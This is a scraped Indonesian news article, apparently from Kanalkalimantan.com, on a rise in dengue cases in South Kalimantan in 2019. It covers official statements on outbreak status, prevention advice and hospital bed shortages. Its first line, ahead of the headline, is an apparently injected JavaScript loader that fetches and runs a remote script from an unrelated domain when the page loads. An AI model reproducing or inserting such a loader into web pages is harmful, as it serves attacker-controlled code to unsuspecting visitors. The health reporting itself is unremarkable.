(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Ada 500 Kasus DBD dengan 5 Orang Meninggal, Pemprov Belum Tetapkan Status KLB


BANJARMASIN, Kasus demam berdarah (DBD) di Kalsel menunjukkan angka peningkatan. Saat ini, sudah ada sebanyak 500 kasus dengan jumlah korban meninggal dunia lima orang. Namun, pemerintah masih belum menetapkan status Kejadian Luar Biasa (KLB).

Meningkatnya jumlah kasus DBD ini, diakui oleh Kepala Dinas Kesehatan Provinsi Kalsel HM Muslim, kepada Kanalkalimantan.com, Selasa (5/2).

“Memang ada peningkatan. Ada 500 kasus, tapi untuk tingkat kematian masih rendah” jelasnya.

Dilihat dari insiden rate 2018 lalu yang mencapai 47,9/100 ribu penduduk, jika dibandingkan dengan kasus nasional masih belum memasuki KLB. Diketahui selama Januari-Februari 2019 , sudah ditemui 5 kasus dari 500 kasus demam berdarah yang mengakibatkan korban meninggal di Kalsel.

Untuk satu hingga dua bulan ke depan, dilihat dari prediksi BMKG terhadap curah hujan, ada kemungkinan kasus terus bertambah. Namun Muslim sendiri berharap agar tidak adanya penambahan kasus.

Sementara itu, di Banjarbaru kasus DBD pun semakin meningkat. Bahkan Kepala Dinas Kesehatan Kota Banjarbaru Agus Widjaja mengatakan, secara kategori, di Banjarbaru sebenarnya sudah memasuki tahap KLB. Namun untuk secara resmi penetapan masih menunggu SK Walikota Nadjmi Adhani.

“Untuk kasus DBD di Kota Banjarbaru memang sudah masuk dalam katagori KLB sesuai dengan hasil telaah tim,” katanya.

Sebelumnya, Walikota Nadjmi mengatakan kasus DBD di kotanya sudah cukup banyak dan terus mengalami peningkatan. “Kita akan tetapkan sebagai kejadian luar biasa (KLB) karena jumlahnya sudah relatif besar,” tegasnya, Senin (3/2) lalu.

Banyaknya kasus DBD harus menjadi perhatian serius semua pihak. Dikatakannya bahwa di Banjarbaru banyak rumah kosong karena hanya sebagai investasi. “Di Banjarbaru ini banyak rumah kosong, sehingga banyak bak air yang bisa dijadikan sarang nyamuk,” katanya.

Dengan fogging yang sudah dilakukan masih belum efektif untuk memberantas nyamuk, sehingga diperlukan peran aktif masyarakat. “Sudah ada tiga orang yang meninggal dunia. Untuk itu seluruh masyarakat harus perperan dalam mencegah penyakit DPD dengan antisipasi dini yaitu 3M (menutup, mengubur, menguras) tempat yang bisa menampung air agar tidak menjadi sarang nyamuk,” katanya.

Berdasarkan data dari Dinas Kesehatan Banjarbaru, dari awal Januari – 4 Februari 2019 sudah terdata 81 kasus demam dengue (DD) dan 148 kasus demam berdarah dengue (DBD). Untuk itu pihaknya terus mengingatkan kepada masyarakat Kota Banjarbaru agar selalu menjaga kebersihan di lingkungan tempat tinggalnya.

“Bila sudah ada tanda-tanda suhu badan panas maka harus segera periksa di fasilitas kesehatan terdekat. Maksimal pada hari ke tiga setelah suhu panas harus diperiksakan, jangan sampai hari ke lima karena bisa mengakibatkan meninggal dunia,” katanya.

3M Plus adalah segala bentuk kegiatan pencegahan seperti menaburkan bubuk larvasida pada tempat penampungan air yang sulit dibersihkan, menggunakan obat nyamuk atau anti nyamuk, menggunakan kelambu saat tidur.

Memelihara ikan pemangsa jentik nyamuk, menanam tanaman pengusir nyamuk, mengatur cahaya dan ventilasi dalam rumah, serta menghindari kebiasaan menggantung pakaian di dalam rumah yang bisa menjadi tempat istirahat nyamuk dan lain-lain.

Mengkatkan kesadaran pencegahan dalam masyarakat juga perlu digelorakan, lanjutnya. Apalagi demam berdarah adalah penyakit yang dihasilkan dari nyamuk aedes aegypti yang sering berada di genangan air atau pun tempat-tempat yang tersumbat dan tumpukan sampah yang berpotensi menghasilkan genangan air tempat nyamuk bersarang.

RSUD Idaman Siapkan Ekstra Bed

Terkait banyaknya kasus DBD, RSUD Idaman Banjarbaru bahkan sempat kesulitan menampung jumlah pasien DBD yang terus meningkat. Kabag TU RSUD Idaman Kota Banjarbaru Muhammad Firmansyah mengatakan ada sekitar 240 bed untuk para pasien di RSUD Idaman.

“Memang untuk pasien DBD jumlahnya banyak. Kebetulan kondisi kamar sudah terisi pasien. Sehingga pasien yang tidak bisa terlayani, kita rujuk ke RS lain seperti ke Ratu Zaleha dan Anshari Shaleh,” katanya.

Bila nantinya ditetapkan KLB untuk kasus DBD, pihaknya akan melakukan persiapan dengan menambah ekstra bed untuk bisa memberikan pelayanan kesehatan kepada pasien DBD. Disinggung jumlah data pasien yang masuk pada Januari tadi, dia masih belum bisa merincikan detailnya. Namun untuk data pada Desember lalu, pasien yang masuk ke RSUD Idaman ada 77 pasien untuk kasus Dengue Hemorrhagic fever (DHF) dan 70 pasien untuk demam dengue.(mario/trb)

Reporter : Mario/trb
Editor : Chell

Desy Arfianty

Recent Posts

Buka Rapat Kerja, Ini Harapan Bunda PAUD Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More

21 menit ago

Saat Sasirangan dan Soto Banjar jadi Perbincangan Pelajar di Taiwan

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More

33 menit ago

Pemkab Kapuas Bahas PPKH Permukiman Transmigrasi Lokal Ngaju Bersinar

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More

1 jam ago

Pelatihan AI Ready ASEAN: AI Itu Alat Pendukung, Bukan Pengganti Manusia

KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More

2 jam ago

Uang Bonus Atlet Kontingen Banjarmasin Dipangkas, Ini Penyebabnya

KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More

2 jam ago

2 Jenis Lead Generation untuk Menarik Prospek Berkualitas

KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More

3 jam ago

This website uses cookies.